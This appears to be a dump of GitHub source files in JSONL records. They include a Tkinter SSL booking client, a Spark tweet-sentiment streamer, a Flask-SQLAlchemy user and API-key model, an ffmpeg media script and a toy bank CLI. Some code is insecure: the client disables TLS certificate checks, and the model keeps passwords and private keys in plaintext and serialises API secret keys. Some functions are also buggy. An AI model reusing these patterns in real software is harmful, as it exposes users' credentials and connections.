d[\"source_files\"]:\n source = SourceFile(dsource[\"name\"])\n source.object = dsource.get(\"object\")\n parser.source_files.append(source)\n\n for filename in dsource.get(\"includes\", []):\n header = parser._get_header(filename)\n source.includes.add(header)\n for dheader in d[\"headers\"]:\n header = parser._get_header(dheader[\"name\"])\n for filename in dheader.get(\"includes\",[]):\n header.add(parser._get_header(filename))\n return parser\n\n\n\n\n","repo_name":"ndevenish/deptools","sub_path":"deptools/depparser.py","file_name":"depparser.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"10056871082","text":"import socket\nimport ssl\nimport tkinter as tk\nfrom tkinter import messagebox\n\n# Create main window\nroot = tk.Tk()\nroot.title(\"Movie Ticket Booking System\")\n\n# Function to handle button click event\ndef book_ticket():\n # Server configuration\n context = ssl._create_unverified_context()\n host = 'localhost'\n port = 8080\n\n # Create socket\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n conn=context.wrap_socket(client_socket,server_hostname=host)\n conn.connect((host, port))\n \n response = conn.recv(1024)\n response = response.decode()\n \n # Show response in a message box\n messagebox.showinfo(\"Booking Status\", response)\n \n # Get user input\n movie_name = movie_name_entry.get()\n num_tickets = num_tickets_entry.get()\n \n # Send data to server\n data = \"{}#{}\".format(movie_name, num_tickets)\n conn.sendall(data.encode())\n \n # Receive data from server\n response = conn.recv(1024)\n response = response.decode()\n \n # Show response in a message box\n messagebox.showinfo(\"Booking Status\", response)\n \n # Close client socket\n conn.close()\n# Create UI components\nmovie1=tk.Label(root, text=\"1- The Truman Show\")\nmovie1.pack()\nmovie2=tk.Label(root, text=\"2- Avatar\")\nmovie2.pack()\nmovie3=tk.Label(root, text=\"3- Alien\")\nmovie3.pack()\nmovie_name_label = tk.Label(root, text=\"Movie ID:\")\nmovie_name_label.pack()\nmovie_name_entry = tk.Entry(root)\nmovie_name_entry.pack()\n\nnum_tickets_label = tk.Label(root, text=\"Number of Tickets:\")\nnum_tickets_label.pack()\nnum_tickets_entry = tk.Entry(root)\nnum_tickets_entry.pack()\n\nbook_button = tk.Button(root, text=\"Book Ticket\", command=book_ticket)\nbook_button.pack()\n\n# Start main event loop\nroot.mainloop()","repo_name":"vishn2200/SSL_ticket_booking_system","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1240990573","text":"from pyspark import SparkConf, SparkContext\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\nimport operator\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef main():\n conf = SparkConf().setMaster(\"local[2]\").setAppName(\"Streamer\")\n sc = SparkContext(conf=conf)\n ssc = StreamingContext(sc, 10) # Create a streaming context with batch interval of 10 sec\n ssc.checkpoint(\"checkpoint\")\n\n pwords = load_wordlist(\"positive.txt\")\n nwords = load_wordlist(\"negative.txt\")\n \n counts = stream(ssc, pwords, nwords, 100)\n make_plot(counts)\n\n\ndef make_plot(counts):\n \"\"\"\n Plot the counts for the positive and negative words for each timestep.\n Use plt.show() so that the plot will popup.\n \"\"\"\n # YOUR CODE HERE\n positives = np.array([entry[0][1] for entry in counts if entry > 0])\n negatives = np.array([entry[1][1] for entry in counts if entry > 0])\n p = plt.subplot(1, 1, 1)\n axis = range(0, len(positives))\n p.plot(axis, positives, 'bs-', label = \"positive\")\n p.plot(axis, negatives, 'rs-', label = \"negative\")\n p.set_ylim([0, max(max(positives), max(negatives)) + 100])\n\n plt.xlabel(\"Time step\")\n plt.ylabel(\"Word count\")\n plt.legend(fontsize = 'small', loc=0)\n plt.savefig(\"plot.png\")\n plt.show()\n\n\ndef load_wordlist(filename):\n \"\"\" \n This function should return a list or set of words from the given filename.\n \"\"\"\n # YOUR CODE HERE\n with open(filename, 'r') as f:\n words = f.read().split('\\n')\n return set(words)\n\ndef count_words(tweet, pos, neg):\n n_count, p_count = 0, 0\n words = set([word.lower() for word in tweet.split(' ')]) \n n_count, p_count = len(neg.intersection(words)), len(pos.intersection(words))\n return [(\"positive\", p_count), (\"negative\", n_count)]\n\ndef stream(ssc, pwords, nwords, duration):\n \n kstream = KafkaUtils.createDirectStream(\n ssc, topics = ['twitterstream'], kafkaParams = {\"metadata.broker.list\": 'localhost:9092'})\n tweets = kstream.map(lambda x: x[1].encode(\"ascii\",\"ignore\"))\n #tweets.pprint()\n # Each element of tweets will be the text of a tweet.\n # You need to find the count of all the positive and negative words in these tweets.\n # Keep track of a running total counts and print this at every time step (use the pprint function).\n # YOUR CODE HERE\n \n words = tweets.flatMap(lambda x: count_words(x, pwords, nwords))\n words = words.reduceByKey(lambda x, y: x + y)\n words.pprint()\n \n # Let the counts variable hold the word counts for all time steps\n # You will need to use the foreachRDD function.\n # For our implementation, counts looked like:\n # [[(\"positive\", 100), (\"negative\", 50)], [(\"positive\", 80), (\"negative\", 60)], ...]\n counts = []\n words.foreachRDD(lambda t, rdd: counts.append(rdd.collect())) \n # YOURDSTREAMOBJECT.foreachRDD(lambda t,rdd: counts.append(rdd.collect()))\n \n ssc.start() # Start the computation\n ssc.awaitTerminationOrTimeout(duration)\n ssc.stop(stopGraceFully=True)\n\n return counts\n\n\nif __name__==\"__main__\":\n main()\n","repo_name":"HuyTu7/SentimentAnalysis","sub_path":"SparkStreamingAnalysis /twitterStream.py","file_name":"twitterStream.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23924324050","text":"from dataclasses import dataclass\n\n\n@dataclass\nclass IGuardResult:\n succeeded: bool\n message: str\n\n\nclass Guard:\n @staticmethod\n def against_null_or_empty(argument: any) -> IGuardResult:\n \"\"\"Verify null or empty data\"\"\"\n if argument == None and not argument:\n return IGuardResult(\n succeeded=False, message=\"{argument} is null or undefined\"\n )\n\n @staticmethod\n def against_null_or_empty_bulk(**args) -> IGuardResult:\n \"\"\"Verify multiple args if has a null or empty data\"\"\"\n\n for index in args:\n\n if not args[index]:\n return IGuardResult(\n succeeded=False, message=f\"{index} is null or undefined\"\n )\n","repo_name":"Antonio-Gabriel/easepayment_v0.1","sub_path":"packages/server/_shared/src/core/logic/Guard.py","file_name":"Guard.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"39736469534","text":"#!/usr/bin/python3\n\"\"\"Python script to export data in the JSON format\"\"\"\nimport json\nfrom requests import get\nfrom sys import argv\n\n\nif __name__ == \"__main__\":\n\n resource = get(f'https://jsonplaceholder.typicode.com/users/{argv[1]}')\n tasks = get(f'https://jsonplaceholder.typicode.com/users/{argv[1]}/todos')\n file_path = f'{argv[1]}.json'\n\n resource = resource.json()\n tasks = tasks.json()\n resource_id = f\"{resource['id']}\"\n data = {\"{}\".format(resource_id): []}\n for task in tasks:\n new_data = {\n \"task\": f\"{task['title']}\",\n \"completed\": task['completed'],\n \"username\": f\"{resource['username']}\"\n }\n data[\"{}\".format(resource_id)].append(new_data)\n with open(file_path, \"w\") as file:\n json.dump(data, file)\n","repo_name":"MohamedElshafae/alx-system_engineering-devops","sub_path":"0x15-api/2-export_to_JSON.py","file_name":"2-export_to_JSON.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70177458173","text":"# The Database Model\n\n# FFS, flask sqlalchemy has an issue with classes that use camelcase or underscores. i imagine there's a sanitization\n# that happens in the sqlalchemy library that flask doesn't f with. Don't spend an hour trying to debug\n# message_types as a model class...\n\nimport datetime\nimport hashlib\nimport os\nimport uuid\n\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom flask.ext.rbac import RoleMixin\nfrom flask import g\nfrom sqlalchemy_utils import UUIDType\nfrom sqlalchemy_utils import JSONType\nfrom sqlalchemy_utils import force_auto_coercion\n\nforce_auto_coercion()\n\nfrom webapp import application\n\ndb = SQLAlchemy(application)\n\nroles_parents = db.Table(\n 'roles_parents',\n db.Column('role_id', db.Integer, db.ForeignKey('role.id')),\n db.Column('parent_id', db.Integer, db.ForeignKey('role.id'))\n)\n\nusers_roles = db.Table(\n 'users_roles',\n db.Column('user_id', db.Integer, db.ForeignKey('user.id')),\n db.Column('parent_id', db.Integer, db.ForeignKey('role.id'))\n)\n\norgs_parents = db.Table(\n 'orgs_parents',\n db.Column('org_id', db.Integer, db.ForeignKey('org.id')),\n db.Column('org_parent_id', db.Integer, db.ForeignKey('org.id'))\n)\n\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n hash_id = db.Column(db.String(64), default=lambda: hashlib.sha256(str(os.urandom(256))).hexdigest(),\n unique=True, nullable=False)\n username = db.Column(db.String(80), unique=True, nullable=False)\n email = db.Column(db.String(120), unique=False)\n password = db.Column(db.String(80), nullable=False)\n team_id = db.Column(db.Integer, db.ForeignKey('team.id'), nullable=True)\n team = db.relationship('Team', foreign_keys=team_id)\n secure_id = db.Column(db.String(80), nullable=True)\n first_name = db.Column(db.String(80))\n last_name = db.Column(db.String(80))\n user_guid = db.Column(UUIDType(binary=False), nullable=False, default=uuid.uuid4)\n\n def __init__(self, hash_id='', username='', email='', password='', secure_id=None, first_name='', last_name='',\n user_guid=None, team_id=None):\n self.hash_id = hash_id\n self.username = username\n self.email = email\n self.password = password\n self.secure_id = secure_id\n self.first_name = first_name\n self.last_name = last_name\n self.user_guid = user_guid\n self.team_id = team_id\n\n def __repr__(self):\n return self.username\n\n def as_json(self):\n user_dict = {\n \"id\": self.id,\n \"username\": self.username,\n \"user_guid\": self.user_guid,\n }\n if self.email is not None:\n user_dict[\"email\"] = self.email\n if self.first_name is not None:\n user_dict[\"first_name\"] = self.first_name\n if self.last_name is not None:\n user_dict[\"last_name\"] = self.last_name\n if self.team is not None:\n user_dict[\"teams\"] = [team for team in self.team]\n return user_dict\n\n\nclass Api_Key(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'))\n user = db.relationship('User', foreign_keys=user_id)\n api_key = db.Column(db.String(64), unique=True, nullable=False)\n secret_key = db.Column(db.String(128), nullable=False)\n\n def __init__(self, user='', api_key='', secret_key=''):\n self.user = user\n self.api_key = api_key\n self.secret_key = secret_key\n\n def __repr__(self):\n return self.api_key\n\n def get_user_by_key(key):\n user_key = Api_Key.query.filter_by(api_key=key).first()\n if user_key is None:\n return None\n return user_key.user\n\n def get_secret_by_key(key):\n user_key = Api_Key.query.filter_by(api_key=key).first()\n if user_key is None:\n return None\n return user_key.secret_key\n\n def as_json(self):\n api_key_dict = {\n \"id\": self.id,\n \"user_id\": self.user_id,\n \"api_key\": self.api_key,\n \"secret_key\": self.secret_key,\n }\n return api_key_dict\n\n\nclass Pub_Key(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'))\n user = db.relationship('User', foreign_keys=user_id)\n pub_key = db.Column(db.String(128), unique=True, nullable=False)\n priv_key = db.Column(db.String(128), unique=True, nullable=True)\n\n def __init__(self, user='', pub_key='', priv_key=None):\n self.user = user\n self.pub_key = pub_key\n self.priv_key = priv_key\n\n def __repr__(self):\n # show beginning of hash of pub key\n return hashlib.sha256(self.pub_key).hexdigest()[:20]\n\n def get_user_by_key(key):\n user_key = Pub_Key.query.filter_by(pub_key=key).first()\n if user_key is None:\n return None\n return user_key.user\n\n\nclass Team(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), unique=True, nullable=False)\n\n def __init__(self, name=''):\n self.name = name\n\n def __repr__(self):\n return self.name\n\n @staticmethod\n def get_by_name(name):\n return Team.query.filter_by(name=name).first()\n\n def as_json(self):\n team_dict = {\n 'name': self.name,\n 'id': self.id\n }\n return team_dict\n\n\nclass Role(db.Model, RoleMixin):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), unique=True, nullable=False)\n parents = db.relationship(\n 'Role',\n secondary=roles_parents,\n primaryjoin=(id == roles_parents.c.role_id),\n secondaryjoin=(id == roles_parents.c.parent_id),\n backref=db.backref('children', lazy='dynamic')\n )\n\n def __init__(self, name=''):\n RoleMixin.__init__(self)\n self.name = name\n\n def __repr__(self):\n return self.name\n\n def add_parent(self, parent):\n self.parents.append(parent)\n\n def add_parents(self, *parents):\n for parent in parents:\n self.add_parent(parent)\n\n @staticmethod\n def get_by_name(name):\n return Role.query.filter_by(name=name).first()\n\n def as_json(self):\n role_dict = {\n 'name': self.name,\n 'id': self.id\n }\n return role_dict\n\n\nclass Org(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), unique=True, nullable=False)\n parents = db.relationship(\n 'Org',\n secondary=orgs_parents,\n primaryjoin=(id == orgs_parents.c.org_id),\n secondaryjoin=(id == orgs_parents.c.org_parent_id),\n backref=db.backref('children', lazy='dynamic')\n )\n\n def __init__(self, name=''):\n self.name = name\n\n def __repr__(self):\n return self.name\n\n def add_parent(self, parent):\n self.parents.append(parent)\n\n def as_json(self):\n org_dict = {\n \"id\": self.id,\n \"name\": self.name,\n }\n return org_dict\n\n\nclass Portfolio(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), unique=False, nullable=False)\n org_id = db.Column(db.Integer, db.ForeignKey('org.id'), nullable=False)\n org = db.relationship('Org', foreign_keys=org_id)\n\n def __init__(self, name='', org=''):\n self.name = name\n self.org = org\n\n def __repr__(self):\n return self.name\n\n def as_json(self):\n portfolio_dict = {\n \"id\": self.id,\n \"name\": self.name,\n \"org_id\": self.org.id\n }\n return portfolio_dict\n\n\ndef get_current_user():\n # TODO: client key signing will do a username lookup\n username = g.get('username', 'guest')\n return User.query.filter_by(username=username).first()\n","repo_name":"ijoosong/cassidy_backend","sub_path":"webapp/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27860714028","text":"from dynamic_rest.serializers import DynamicModelSerializer\nfrom rest_framework import serializers\n\nfrom models.models import AccountInvitation, Producer, Profile\n\n\nclass AccountInvitationSerializer(DynamicModelSerializer):\n \n @staticmethod\n def validate_email_sent_to(value: str):\n if Profile.objects.filter(email=value).exists():\n raise serializers.ValidationError('There is already a profile with that email')\n return value\n \n class Meta:\n model = AccountInvitation\n fields = AccountInvitation.public_fields\n read_only_fields = ('token',)\n","repo_name":"masumr/prime","sub_path":"beatpulse_backend-master/apis_admin/serializers/serializer_account_invitation.py","file_name":"serializer_account_invitation.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72497408253","text":"#!/usr/bin/env python\n\nimport os, ffmpy3, subprocess\nfrom collections import OrderedDict as od\nimport random\n\n# 1 orig folders with following convention\n# films are named f0001.mov, f0002.mp4 etc\n# musics are named m0001.wav, m0002.wav etc\n# dance sessions are named d0001.mov, d0002.mp4 etc\n\nORIG = \"orig\"\nCOMPUTED = \"computed\"\n\nFILTER = '\"nullsrc=size=1280x360 [background]; \\\n[0:v] setpts=PTS-STARTPTS, scale=640x360 [left]; \\\n[1:v] setpts=PTS-STARTPTS, scale=640x360 [right]; \\\n[background][left] overlay=shortest=1 [background+left]; \\\n[background+left][right] overlay=shortest=1:x=640\"'\n\nLA_RALLONGE = ['film_0001', 'music_0001',\n 'film_0002', 'music_0002',\n 'film_0003', 'music_0003',\n 'film_0004', 'music_0004',\n 'film_0005', 'music_0005',\n 'film_0006', 'music_0006',\n 'film_0007', 'music_0007',\n 'film_0008', 'music_0008',\n 'film_0009', 'music_0009',\n 'film_0010', 'music_0010',\n 'film_0011', 'music_0011',\n 'film_0012', 'music_0012',\n 'film_0013', 'music_0013',\n 'film_0014', 'music_0014',\n 'film_0015', 'music_0015',\n 'film_0016', 'music_0016',\n 'film_0017', 'music_0017',\n 'film_0018', 'music_0018',\n 'film_0019', 'music_0019',\n 'film_0020', 'music_0020',\n 'film_0021', 'music_0023',\n 'film_0022', 'music_0025',\n 'film_0023', 'music_0026',\n 'film_0024', 'music_0027',\n 'film_0025', 'music_0028']\n\nLA_RALLONGE_DANSEE = ['music_0010', 'dance_0001',\n 'music_0021', 'dance_0002',\n 'music_0022', 'dance_0003',\n 'music_0024', 'dance_0004']\n\nclass Thread(object):\n todo = {\n 'gif': [],\n 'preview': [],\n 'mp4': [],\n 'webm': [],\n 'ogg': [],\n 'm4a': [],\n 'pair_webm': [],\n 'pair_mp4': []\n }\n def __init__(self, thread_list):\n previous_vid = None\n for node in thread_list:\n if node.startswith('music'):\n self.todo['ogg'].append('{}.{}'.format(node, 'ogg'))\n self.todo['m4a'].append('{}.{}'.format(node, 'm4a'))\n continue\n self.todo['gif'].append('{}.{}'.format(node, 'gif'))\n self.todo['preview'].append(f'{node}_preview.mp4')\n self.todo['preview'].append(f'{node}_preview.webm')\n self.todo['mp4'].append('{}.{}'.format(node, 'mp4'))\n self.todo['webm'].append('{}.{}'.format(node, 'webm'))\n if previous_vid:\n self.todo['pair_webm'].append('{}-{}.{}'.format(previous_vid, node, 'webm'))\n self.todo['pair_mp4'].append('{}-{}.{}'.format(previous_vid, node, 'mp4'))\n previous_vid = node\n present = { fname for fname in os.listdir(COMPUTED) } \n for filetype in self.todo:\n newlist = []\n for filename in self.todo[filetype]:\n if filename not in present:\n newlist.append(filename)\n self.todo[filetype] = newlist\n self.orig = {}\n for filename in os.listdir(ORIG):\n self.orig[filename.split('.')[0]] = filename\n def generate_gifs(self):\n print('Generating gifs')\n for node in self.todo['gif']:\n node = node.split('.')[0]\n outfile = 'computed/{}.gif'.format(node)\n subprocess.check_call(['ffmpeg', '-i', 'computed/{}.webm'.format(node),\n '-r', '1/25', 'computed/{}-%03d.png'.format(node)])\n subprocess.check_call('mogrify -resize 256x256 -gravity Center -crop 256x144+0+0 +repage computed/{}-*.png'.format(node),\n shell=True)\n subprocess.check_call(\n 'convert -delay {} -loop 0 computed/{}-*.png computed/{}.gif'.format(random.randint(60, 100), node, node), \n shell=True)\n print(\"{} generated\".format(outfile))\n self.todo['gif'] = []\n def generate_previews(self):\n print('Generating previews')\n for node in self.todo['preview']:\n node, ext = node.split('_preview.')\n outfile = f'computed/{node}_preview.{ext}'\n subprocess.check_call(['ffmpeg', '-i', f'computed/{node}.gif', outfile])\n print(\"{} generated\".format(outfile))\n self.todo['gif'] = []\n def generate_mp4s(self):\n print('Generating mp4s')\n for node in self.todo['mp4']:\n node = node.split('.')[0]\n infile = os.path.join(ORIG, self.orig[node])\n outfile = os.path.join(COMPUTED, '{}.mp4'.format(node))\n ff = ffmpy3.FFmpeg(inputs=od([(infile, None)]),\n outputs={outfile: \"-an -map 0:v -vf scale=640:360:force_original_aspect_ratio=decrease -b:v 900k -movflags faststart\"})\n ff.run()\n print(' {} generated'.format(outfile))\n self.todo['mp4'] = []\n def generate_webms(self):\n print('Generating webms')\n for node in self.todo['webm']:\n node = node.split('.')[0]\n infile = os.path.join(ORIG, self.orig[node])\n outfile = os.path.join(COMPUTED, '{}.webm'.format(node))\n ff = ffmpy3.FFmpeg(inputs=od([(infile, None)]),\n outputs={outfile: \"-an -map 0:v -vf scale=640:360:force_original_aspect_ratio=decrease -b:v 900k -codec:v libvpx -auto-alt-ref 0\"})\n ff.run()\n self.todo['webm'] = []\n def generate_oggs(self):\n print('Generating oggs')\n for node in self.todo['ogg']:\n node = node.split('.')[0]\n infile = os.path.join(ORIG, self.orig[node])\n outfile = os.path.join(COMPUTED, '{}.ogg'.format(node))\n ff = ffmpy3.FFmpeg(inputs={infile: None},\n outputs={outfile: \"-ar 44100\"})\n ff.run()\n self.todo['ogg'] = []\n def generate_m4as(self):\n print('Generating m4as')\n for node in self.todo['m4a']:\n node = node.split('.')[0]\n infile = os.path.join(ORIG, self.orig[node])\n outfile = os.path.join(COMPUTED, '{}.m4a'.format(node))\n ff = ffmpy3.FFmpeg(inputs={infile: None},\n outputs={outfile: \"-ar 44100\"})\n ff.run()\n self.todo['m4a'] = []\n def generate_pair_webms(self):\n print('Generating pair_webms')\n for leftright in self.todo['pair_webm']:\n left, right = leftright.split('.')[0].split('-')\n lfilm = os.path.join(ORIG, self.orig[left])\n rfilm = os.path.join(ORIG, self.orig[right])\n outfile = os.path.join(COMPUTED, leftright)\n ff = ffmpy3.FFmpeg(inputs=od([(lfilm, None), (rfilm, None)]),\n outputs={outfile: \"-an -s 1280x360 -filter_complex {} -b:v 900k -codec:v libvpx -auto-alt-ref 0\".format(FILTER)})\n ff.run()\n self.todo['pair_webm'] = []\n def generate_pair_mp4s(self):\n print('Generating pair_mp4s')\n for leftright in self.todo['pair_mp4']:\n left, right = leftright.split('.')[0].split('-')\n lfilm = os.path.join(ORIG, self.orig[left])\n rfilm = os.path.join(ORIG, self.orig[right])\n outfile = os.path.join(COMPUTED, leftright)\n ff = ffmpy3.FFmpeg(inputs=od([(lfilm, None), (rfilm, None)]),\n outputs={outfile: \"-an -s 1280x360 -filter_complex {} -b:v 900k -movflags faststart\".format(FILTER)})\n ff.run()\n self.todo['pair_mp4'] = []\n def generate_all(self):\n self.generate_oggs()\n self.generate_m4as()\n self.generate_mp4s()\n #self.generate_pair_mp4s()\n self.generate_webms()\n #self.generate_pair_webms()\n self.generate_gifs()\n self.generate_previews()\n \n\n\n\nfor l in (LA_RALLONGE, LA_RALLONGE_DANSEE):\n thread = Thread(l)\n print(thread.todo)\n thread.generate_all()\n print(thread.todo)\n\nprint(\"Resizing profile pics...\")\norigpath = os.path.join(ORIG, 'pics')\ndestpath = os.path.join(COMPUTED, 'pics')\nfor img in os.listdir(origpath):\n if not os.path.isfile(os.path.join(destpath, img)):\n subprocess.check_call(['convert', os.path.join(origpath, img), '-resize', '300', os.path.join(destpath, img)])\n subprocess.check_call(['convert', os.path.join(origpath, img), '-resize', '150', os.path.join(destpath, '150-' + img)])\n","repo_name":"domeav/larallonge","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":8664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3563533755","text":"from Operations.Transaction import Transactions, accountFile, Customers, Banks\n\n# Transaction Fee\n# except (ValueError, AttributeError):\n# Set Constants\n# format floats :.2f\n# ?🤔 Loan\n# Add staff Functionalities\n\ndef do_transactions() -> None:\n output = \"\"\"\n 1. Check Balance\n 2. Withdrawal \n 3. Deposit\n 4. Transfer Cash \n ==> \n \"\"\"\n\n print(\"\\nTo login First => \")\n full_name: str = input(\"Enter your name : \")\n transaction = Transactions(full_name)\n if transaction.login():\n while True:\n choice = int(input(output))\n if choice == 1:\n transaction.check_balance()\n elif choice > 1 or choice < 5:\n amount = int(input(\"Enter amount for transaction: \"))\n if choice == 2:\n transaction.withdrawal(amount)\n if choice == 3:\n transaction.deposit(amount)\n else:\n recipient = input(\n \"Enter the recipient's Name to transfer founds to: \")\n transaction.transfer_cash(recipient, amount)\n\n again = input(\"Would you like to go again[Y/N]:\")\n if again.upper() == 'Y':\n continue\n else:\n break\n\n else:\n print(\"Invalid Input\")\n\n\ndef create_account() -> None:\n choice = input(\"Would you like to add account[Y/N]: \")\n\n if choice.upper() == \"Y\":\n full_name: str = input(\"Enter your name: \")\n pin = int(input(\"Set a secure pin: \"))\n # pin = getpass.getpass(prompt=\"Set a secure pin: \")\n customer = Customers()\n customer.set_name(full_name)\n\n bank = Banks()\n bank.set_pin(pin)\n bank.create_account(customer)\n\n account_details = f\"\"\"\n ********** {customer.name} **********\n Your Username is {customer.username}\n Your ID Number is {customer.id_number}\n Your Account Number is {bank.account_num}\n Your Pin is ****\n **************************************\n \"\"\"\n print(account_details)\n else:\n exit(0)\n\n\ndef main() -> None:\n exists = False\n try:\n with open(accountFile, \"r\") as f:\n exists = True\n except IOError:\n print(\"Error No User data found!!\\n\")\n\n if exists:\n do_transactions()\n else:\n create_account()\n choice = input(\"Would you like to do another transaction[Y/N]: \")\n if choice.upper() == 'Y':\n main()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"geo-afk/Simple_Banking_Application","sub_path":"Main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43128443867","text":"num_days = input(\"Enter how many day's temperature \")\nt = 0\ntemp=[]\n\nfor i in range(num_days):\n next = int(input(\"Days\" + str(i+1) +\"'s high temperature:\"))\n temp.append(next)\n t +=temp[i]\n\naverage=round(t/num_days,2)\nprint(\"Average=\",+ str(average))\nabove=0\nfor i in temp:\n if i > average:\n above +=1\nprint(str(above)+\"days above average\")\n\n","repo_name":"Deepak-2601/Datastructures","sub_path":"package_array/average_temperature.py","file_name":"average_temperature.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1623104944","text":"from collections import deque\n\nwater_qt = int(input())\nname = input()\npeople = deque()\n\nwhile not name == \"Start\":\n people.append(name)\n name = input()\n\ncommand = input()\n\nwhile not command == \"End\":\n if command.startswith(\"refill\"):\n liters_to_add = int(command.split()[1])\n water_qt += liters_to_add\n else:\n liters_to_get = int(command)\n if liters_to_get <= water_qt:\n water_qt -= liters_to_get\n print(f\"{people.popleft()} got water\")\n else:\n print(f\"{people.popleft()} must wait\")\n\n command = input()\n\nprint(f\"{water_qt} liters left\")","repo_name":"Isotirov/softuni","sub_path":"python_advanced/Stacks_and_Queues/4.Water_dispenser.py","file_name":"4.Water_dispenser.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27980550771","text":"'''\n dummy -> entry -> entry ->entry -> entry(tail)\n entryFinder = { key, {key, value} }\n'''\n\nclass Node:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.prev = None\n self.next = None\n\n\nclass LRUCache(object):\n\n def __init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.capacity = capacity\n self.size = 0 # Current size of the cache (linklist)\n self.dummy = Node(-1,-1)\n self.tail = self.dummy # Point to the end of list\n self.entryFinder = {} # { key, {key, value} }\n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n entry = self.entryFinder.get(key)\n if entry is not None:\n self.renew(entry)\n return entry.value\n else:\n return -1\n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: None\n \"\"\"\n entry = self.entryFinder.get(key)\n if entry is None:\n entry = Node(key, value)\n self.entryFinder[key] = entry\n\n # link new node to the tail of list\n self.tail.next = entry\n entry.prev = self.tail\n self.tail = entry\n\n # Check if over the capcity\n if self.size < self.capacity:\n self.size += 1\n else:\n # Remove the Node at the most front of the list\n head = self.dummy.next\n if head is not None:\n self.dummy.next = head.next\n head.next.prev = self.dummy\n # Remove it from dictionary\n del self.entryFinder[head.key]\n else:\n # Put the renew data, whose key exist but the value update, the the tail of the list\n entry.value = value\n self.renew(entry)\n\n # Move the used data to the end of the list\n def renew(self, entry):\n if self.tail != entry:\n # delete(jump over) the entry and linked\n prevNode = entry.prev\n nextNode = entry.next\n prevNode.next = nextNode\n nextNode.prev = prevNode\n\n # link the entry to the tail of the list\n entry.next = None\n self.tail.next = entry\n entry.prev = self.tail\n self.tail = entry\n\n\n\n# Your LRUCache object will be instantiated and called as such:\n# obj = LRUCache(capacity)\n# param_1 = obj.get(key)\n# obj.put(key,value)\n","repo_name":"KShih/workspaceLeetcode","sub_path":"python/146_LRU_Cache.py","file_name":"146_LRU_Cache.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33675200067","text":"try:\n from mpl_toolkits.mplot3d import Axes3D\n from matplotlib import cm\n import matplotlib.pyplot as plt\n import numpy as np\nexcept ImportError:\n print(\"Failed to import matplotlib and numpy\")\n exit(-1)\n\nimport sys\nimport re\n\n# Determine the parameters of the sweep from the simout output, and\n# then parse the stats and plot the 3D surface corresponding to the\n# different combinations of parallel banks, and stride size, as\n# generated by the config/dram/sweep.py script\ndef main():\n\n if len(sys.argv) != 3:\n print(\"Usage: \", sys.argv[0], \"-u|p|e \")\n exit(-1)\n\n if (\n len(sys.argv[1]) != 2\n or sys.argv[1][0] != \"-\"\n or not sys.argv[1][1] in \"upe\"\n ):\n print(\n \"Choose -u (utilisation), -p (total power), or -e \"\n \"(power efficiency)\"\n )\n exit(-1)\n\n # Choose the appropriate mode, either utilisation, total power, or\n # efficiency\n mode = sys.argv[1][1]\n\n try:\n stats = open(sys.argv[2] + \"/stats.txt\", \"r\")\n except IOError:\n print(\"Failed to open \", sys.argv[2] + \"/stats.txt\", \" for reading\")\n exit(-1)\n\n try:\n simout = open(sys.argv[2] + \"/simout\", \"r\")\n except IOError:\n print(\"Failed to open \", sys.argv[2] + \"/simout\", \" for reading\")\n exit(-1)\n\n # Get the burst size, number of banks and the maximum stride from\n # the simulation output\n got_sweep = False\n\n for line in simout:\n match = re.match(\n \"DRAM sweep with burst: (\\d+), banks: (\\d+), max stride: (\\d+)\",\n line,\n )\n if match:\n burst_size = int(match.groups(0)[0])\n banks = int(match.groups(0)[1])\n max_size = int(match.groups(0)[2])\n got_sweep = True\n\n simout.close()\n\n if not got_sweep:\n print(\"Failed to establish sweep details, ensure simout is up-to-date\")\n exit(-1)\n\n # Now parse the stats\n 